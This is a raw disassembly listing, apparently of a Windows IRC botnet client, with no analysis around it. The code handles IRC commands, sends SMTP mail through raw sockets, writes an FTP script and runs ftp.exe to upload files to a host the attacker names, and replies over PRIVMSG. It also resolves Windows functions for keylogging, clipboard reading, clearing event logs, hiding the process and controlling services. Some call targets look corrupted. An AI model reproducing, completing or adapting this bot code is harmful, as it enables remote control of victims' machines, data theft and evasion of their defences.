		push	[ebp+eax*4+var_A0]
		push	offset aNs	; "ns"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40AA59


loc_40A86E:				; CODE XREF: sub_4021E5+8666j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		push	offset unk_444334


loc_40A89A:				; DATA XREF: .XComp0:0044AD94o
					; .XComp0:0044ADD8o ...
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		call	sub_41EBD0
		pop	ecx
		mov	esi, [ebp+var_2D4]
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_41EBD0
		pop	ecx
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_41EBD0
		pop	ecx
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_41EBD0
		pop	ecx
		lea	eax, [esi+eax+7]
		mov	[ebp+var_2D4], eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_3354],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_3350],	eax
		and	[ebp+var_5D8], 0
		jmp	short loc_40A97A
; ---------------------------------------------------------------------------


loc_40A96D:				; CODE XREF: sub_4021E5:loc_40AA28j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_40A97A:				; CODE XREF: sub_4021E5+8786j
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_3350]
		jge	loc_40AA2D
		push	[ebp+var_3354]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_41AD09
		add	esp, 0Ch
		mov	[ebp+var_334C],	eax
		cmp	[ebp+var_334C],	1
		jnz	short loc_40A9E3
		push	0
		push	[ebp+var_85C]
		push	offset unk_444370
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_40AA2D
; ---------------------------------------------------------------------------


loc_40A9E3:				; CODE XREF: sub_4021E5+87DCj
		cmp	[ebp+var_334C],	0
		jz	short loc_40AA28
		push	[ebp+var_334C]
		push	offset unk_4443A8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_40AA2D
; ---------------------------------------------------------------------------


loc_40AA28:				; CODE XREF: sub_4021E5+8805j
		jmp	loc_40A96D
; ---------------------------------------------------------------------------


loc_40AA2D:				; CODE XREF: sub_4021E5+87A1j
					; sub_4021E5+87FCj ...
		cmp	[ebp+var_334C],	0
		jnz	short loc_40AA54
		push	0
		push	[ebp+var_85C]
		push	offset unk_4443DC
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40AA54:				; CODE XREF: sub_4021E5+884Fj
		jmp	loc_40AD49
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_4021E5+8683j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aEmail	; "email"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40ACA5
		mov	word ptr [ebp+var_39EC], 101h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		lea	eax, [ebp+var_3758]
		push	eax
		call	sub_422580
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_3A08],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		lea	eax, [ebp+var_3658]
		push	eax
		call	sub_422580
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		lea	eax, [ebp+var_3558]
		push	eax
		call	sub_422580
		pop	ecx
		pop	ecx
		push	offset asc_444418 ; " "
		push	offset a_	; "_"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		call	sub_41A1B4
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_3458]
		push	eax
		call	sub_422580
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_39E8]
		push	eax
		push	[ebp+var_39EC]
		call	dword_4E1670	; WSAStartup
		lea	eax, [ebp+var_3758]
		push	eax
		call	dword_4E1784	; gethostbyname
		mov	[ebp+var_3358],	eax
		push	6
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_39F4],	eax
		mov	[ebp+var_3A04],	2
		mov	eax, [ebp+var_3358]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_3A00],	eax
		push	[ebp+var_3A08]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_3A02],	ax
		lea	eax, [ebp+var_3458]
		push	eax
		lea	eax, [ebp+var_3658]
		push	eax
		lea	eax, [ebp+var_3458]
		push	eax
		lea	eax, [ebp+var_3558]
		push	eax
		lea	eax, [ebp+var_3658]
		push	eax
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		lea	eax, [ebp+var_3E08]
		push	eax
		call	sub_4219C0
		add	esp, 1Ch
		push	10h
		lea	eax, [ebp+var_3A04]
		push	eax
		push	[ebp+var_39F4]
		call	dword_4E16A8	; connect
		mov	[ebp+var_39F0],	eax
		push	0
		push	100h
		lea	eax, [ebp+var_3858]
		push	eax
		push	[ebp+var_39F4]
		call	dword_4E1718	; recv
		mov	[ebp+var_39F0],	eax
		push	0
		lea	eax, [ebp+var_3858]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E08]
		push	eax
		push	[ebp+var_39F4]
		call	dword_4E1750	; send
		mov	[ebp+var_39F0],	eax
		push	0
		push	100h
		lea	eax, [ebp+var_3858]
		push	eax
		push	[ebp+var_39F4]
		call	dword_4E1718	; recv
		mov	[ebp+var_39F0],	eax
		push	[ebp+var_39F4]
		call	dword_4E1798	; closesocket
		call	dword_4E1658	; WSACleanup
		lea	eax, [ebp+var_3558]
		push	eax
		push	offset unk_44446C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_40AC90
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40AC90:				; CODE XREF: sub_4021E5+8A89j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40ACA5:				; CODE XREF: sub_4021E5+888Fj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aHttpcon	; "httpcon"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40ACDF
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aHcon	; "hcon"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40AD49


loc_40ACDF:				; CODE XREF: sub_4021E5+8ADBj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_415A54
		add	esp, 24h
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40AD49:				; CODE XREF: sub_4021E5:loc_40A82Bj
					; sub_4021E5:loc_40AA54j ...
		call	sub_41CC78
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_8C], 0
		jnz	short loc_40AD66
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40AD66:				; CODE XREF: sub_4021E5+8B77j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aUpload	; "upload"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40AFB8
		push	4
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		call	sub_419698
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ADFD
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		push	offset unk_4444A8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_40ADE8
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40ADE8:				; CODE XREF: sub_4021E5+8BE1j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40ADFD:				; CODE XREF: sub_4021E5+8BBAj
		nop
		call	near ptr 27D079Eh
		push	eax
		call	sub_421AC0
		pop	ecx
		call	sub_421AD0
		cdq
		push	9
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_421AD0
		cdq
		push	63h
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_421AD0
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		push	edx
		lea	eax, [ebp+var_3F0C]
		push	eax
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		lea	eax, [ebp+var_4010]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		push	offset aAb	; "ab"
		lea	eax, [ebp+var_4010]
		push	eax
		call	sub_4213F0
		pop	ecx
		pop	ecx
		mov	[ebp+var_4014],	eax
		cmp	[ebp+var_4014],	0
		jz	loc_40AFB3
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	[ebp+var_4014]
		call	sub_421F80
		add	esp, 1Ch
		push	[ebp+var_4014]
		call	sub_41EC50
		pop	ecx
		lea	eax, [ebp+var_4010]
		push	eax
		push	offset aSS_0	; "-s:%s"
		lea	eax, [ebp+var_4114]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4114]
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_1	; "open"
		push	0
		call	dword_4E166C	; ShellExecuteA
		test	eax, eax
		jz	short loc_40AF36
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		push	offset unk_444518
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_40AF5D
; ---------------------------------------------------------------------------


loc_40AF36:				; CODE XREF: sub_4021E5+8D26j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		push	offset unk_444540
		call	sub_4219C0
		add	esp, 0Ch


loc_40AF5D:				; CODE XREF: sub_4021E5+8D4Fj
		cmp	[ebp+var_4], 0
		jnz	short loc_40AF83
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40AF83:				; CODE XREF: sub_4021E5+8D7Cj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40AF90:				; CODE XREF: sub_4021E5+8DCCj
		push	4
		lea	eax, [ebp+var_4010]
		push	eax
		call	sub_419698
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40AFB3
		lea	eax, [ebp+var_4010]
		push	eax
		call	sub_421F10
		pop	ecx
		jmp	short loc_40AF90
; ---------------------------------------------------------------------------


loc_40AFB3:				; CODE XREF: sub_4021E5+8C86j
					; sub_4021E5+8DBDj
		push	1
		pop	eax
		jmp	short loc_40AFBB
; ---------------------------------------------------------------------------


loc_40AFB8:				; CODE XREF: sub_4021E5+951j
					; sub_4021E5+95Ej ...
		mov	eax, [ebp+arg_24]


loc_40AFBB:				; CODE XREF: sub_4021E5+68j
					; sub_4021E5+13Bj ...
		pop	esi
		leave
		retn
sub_4021E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFBE	proc near		; CODE XREF: sub_401FD0+5Bp
					; sub_4021E5+2C4p ...

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		push	[ebp+arg_4]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_422920
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		leave
		retn
sub_40AFBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B00F	proc near		; CODE XREF: sub_4021E5+7A8p
					; sub_4021E5+11C0p ...

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	esi
		cmp	[ebp+arg_C], 0
		jz	short loc_40B028
		mov	[ebp+var_4], offset aNotice_2 ;	"NOTICE"
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40B028:				; CODE XREF: sub_40B00F+Ej
		mov	[ebp+var_4], offset aPrivmsg_2 ; "PRIVMSG"


loc_40B02F:				; CODE XREF: sub_40B00F+17j
		push	[ebp+var_4]
		call	sub_41EBD0
		pop	ecx
		mov	esi, 200h
		sub	esi, eax
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		sub	esi, eax
		sub	esi, 6
		mov	[ebp+var_408], esi
		push	[ebp+arg_8]
		push	offset aS_18	; "%s"
		push	[ebp+var_408]
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_421B90
		add	esp, 10h
		lea	eax, [ebp+var_204]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	offset aSSS_0	; "%s %s :%s\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		cmp	[ebp+arg_10], 0
		jz	short loc_40B0C2
		push	7D0h
		call	near ptr 27B048Ah
		nop


loc_40B0C2:				; CODE XREF: sub_40B00F+A6j
		pop	esi
		leave
		retn
sub_40B00F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0C5	proc near		; CODE XREF: sub_4016A7+67p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	offset aKernel32_dll ; "kernel32.dll"
		nop
		call	near ptr 27C0753h
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_40B240
		push	offset aSeterrormode ; "SetErrorMode"
		push	[ebp+var_24]
		call	near ptr 27F0281h
		nop
		mov	dword_4E17AC, eax
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1720, eax
		push	offset aProcess32first ; "Process32First"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1704, eax
		push	offset aProcess32next ;	"Process32Next"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1614, eax
		push	offset aModule32first ;	"Module32First"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15C0, eax
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15F0, eax
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	[ebp+var_24]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1668, eax
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	[ebp+var_24]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1760, eax
		push	offset aSearchpatha ; "SearchPathA"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E17BC, eax
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1620, eax
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	[ebp+var_24]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1608, eax
		cmp	dword_4E17AC, 0
		jz	short loc_40B20E
		cmp	dword_4E1720, 0
		jz	short loc_40B20E
		cmp	dword_4E1704, 0
		jz	short loc_40B20E
		cmp	dword_4E1614, 0
		jz	short loc_40B20E
		cmp	dword_4E15F0, 0
		jz	short loc_40B20E
		cmp	dword_4E1668, 0
		jz	short loc_40B20E
		cmp	dword_4E1760, 0
		jz	short loc_40B20E
		cmp	dword_4E17BC, 0
		jz	short loc_40B20E
		cmp	dword_4E1620, 0
		jz	short loc_40B20E
		cmp	dword_4E1608, 0
		jnz	short loc_40B218


loc_40B20E:				; CODE XREF: sub_40B0C5+F6j
					; sub_40B0C5+FFj ...
		mov	dword_4E17C0, 1


loc_40B218:				; CODE XREF: sub_40B0C5+147j
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	[ebp+var_24]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1738, eax
		cmp	dword_4E1738, 0
		jz	short loc_40B23E
		push	1
		push	0
		call	dword_4E1738


loc_40B23E:				; CODE XREF: sub_40B0C5+16Dj
		jmp	short loc_40B255
; ---------------------------------------------------------------------------


loc_40B240:				; CODE XREF: sub_40B0C5+18j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17C4, eax
		mov	dword_4E17C0, 1


loc_40B255:				; CODE XREF: sub_40B0C5:loc_40B23Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 27F0000h
		nop
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	loc_40B3D3
		push	offset aSendmessagea ; "SendMessageA"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E175C, eax
		push	offset aFindwindowa ; "FindWindowA"
		push	[ebp+var_4]
		call	near ptr 27F0281h
		nop
		mov	dword_4E170C, eax
		push	offset aIswindow ; "IsWindow"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16A0, eax
		push	offset aDestroywindow ;	"DestroyWindow"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E17B0, eax
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16D0, eax
		push	offset aGetclipboardda ; "GetClipboardData"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16F0, eax
		push	offset aCloseclipboard ; "CloseClipboard"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1754, eax
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1640, eax
		cmp	dword_4E175C, 0
		jz	short loc_40B34D
		cmp	dword_4E170C, 0
		jz	short loc_40B34D
		cmp	dword_4E16A0, 0
		jz	short loc_40B34D
		cmp	dword_4E17B0, 0
		jz	short loc_40B34D
		cmp	dword_4E16D0, 0
		jz	short loc_40B34D
		cmp	dword_4E16F0, 0
		jz	short loc_40B34D
		cmp	dword_4E1754, 0
		jz	short loc_40B34D
		cmp	dword_4E1640, 0
		jnz	short loc_40B357


loc_40B34D:				; CODE XREF: sub_40B0C5+247j
					; sub_40B0C5+250j ...
		mov	dword_4E17C8, 1


loc_40B357:				; CODE XREF: sub_40B0C5+286j
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16CC, eax
		push	offset aGetkeystate ; "GetKeyState"
		push	[ebp+var_4]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15D4, eax
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E169C, eax
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1684, eax
		cmp	dword_4E16CC, 0
		jz	short loc_40B3C7
		cmp	dword_4E15D4, 0
		jz	short loc_40B3C7
		cmp	dword_4E169C, 0
		jz	short loc_40B3C7
		cmp	dword_4E1684, 0
		jnz	short loc_40B3D1


loc_40B3C7:				; CODE XREF: sub_40B0C5+2E5j
					; sub_40B0C5+2EEj ...
		mov	dword_4E17C8, 1


loc_40B3D1:				; CODE XREF: sub_40B0C5+300j
		jmp	short loc_40B3E8
; ---------------------------------------------------------------------------


loc_40B3D3:				; CODE XREF: sub_40B0C5+1A2j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17CC, eax
		mov	dword_4E17C8, 1


loc_40B3E8:				; CODE XREF: sub_40B0C5:loc_40B3D1j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	near ptr 27C0753h
		nop
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jz	loc_40B648
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1770, eax
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16B4, eax
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1724, eax
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1600, eax
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1664, eax
		push	offset aRegclosekey ; "RegCloseKey"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E16DC, eax
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1680, eax
		push	offset aCleareventloga ; "ClearEventLogA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1690, eax
		cmp	dword_4E1770, 0
		jz	short loc_40B4CE
		cmp	dword_4E16B4, 0
		jz	short loc_40B4CE
		cmp	dword_4E1724, 0
		jz	short loc_40B4CE
		cmp	dword_4E1600, 0
		jz	short loc_40B4CE
		cmp	dword_4E1664, 0
		jz	short loc_40B4CE
		cmp	dword_4E16DC, 0
		jnz	short loc_40B4D8


loc_40B4CE:				; CODE XREF: sub_40B0C5+3DAj
					; sub_40B0C5+3E3j ...
		mov	dword_4E17D0, 1


loc_40B4D8:				; CODE XREF: sub_40B0C5+407j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16E4, eax
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16BC, eax
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E176C, eax
		cmp	dword_4E16E4, 0
		jz	short loc_40B52C
		cmp	dword_4E16BC, 0
		jz	short loc_40B52C
		cmp	dword_4E176C, 0
		jnz	short loc_40B536


loc_40B52C:				; CODE XREF: sub_40B0C5+453j
					; sub_40B0C5+45Cj
		mov	dword_4E17D0, 1


loc_40B536:				; CODE XREF: sub_40B0C5+465j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16F4, eax
		push	offset aOpenservicea ; "OpenServiceA"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15DC, eax
		push	offset aStartservicea ;	"StartServiceA"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15E4, eax
		push	offset aControlservice ; "ControlService"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1648, eax
		push	offset aDeleteservice ;	"DeleteService"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E164C, eax
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15F8, eax
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	[ebp+var_34]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16C0, eax
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15E8, eax
		cmp	dword_4E16F4, 0
		jz	short loc_40B616
		cmp	dword_4E15DC, 0
		jz	short loc_40B616
		cmp	dword_4E15E4, 0
		jz	short loc_40B616
		cmp	dword_4E1648, 0
		jz	short loc_40B616
		cmp	dword_4E164C, 0
		jz	short loc_40B616
		cmp	dword_4E15F8, 0
		jz	short loc_40B616
		cmp	dword_4E16C0, 0
		jz	short loc_40B616
		cmp	dword_4E15E8, 0
		jnz	short loc_40B620


loc_40B616:				; CODE XREF: sub_40B0C5+510j
					; sub_40B0C5+519j ...
		mov	dword_4E17D0, 1


loc_40B620:				; CODE XREF: sub_40B0C5+54Fj
		push	offset aGetusernamea ; "GetUserNameA"
		push	[ebp+var_34]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15E0, eax
		cmp	dword_4E15E0, 0
		jnz	short loc_40B646
		mov	dword_4E17D0, 1


loc_40B646:				; CODE XREF: sub_40B0C5+575j
		jmp	short loc_40B65D
; ---------------------------------------------------------------------------


loc_40B648:				; CODE XREF: sub_40B0C5+335j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17D4, eax
		mov	dword_4E17D0, 1


loc_40B65D:				; CODE XREF: sub_40B0C5:loc_40B646j
		push	offset aGdi32_dll ; "gdi32.dll"
		nop
		call	near ptr 27C0753h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_40B77D
		push	offset aCreatedca ; "CreateDCA"
		push	[ebp+var_28]
		call	near ptr 27F0281h
		nop
		mov	dword_4E16EC, eax
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	[ebp+var_28]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1744, eax
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	[ebp+var_28]
		call	near ptr 27F0281h
		nop
		mov	dword_4E174C, eax
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	[ebp+var_28]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1708, eax
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	[ebp+var_28]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1624, eax
		push	offset aSelectobject ; "SelectObject"
		push	[ebp+var_28]
		call	near ptr 27F0281h
		nop
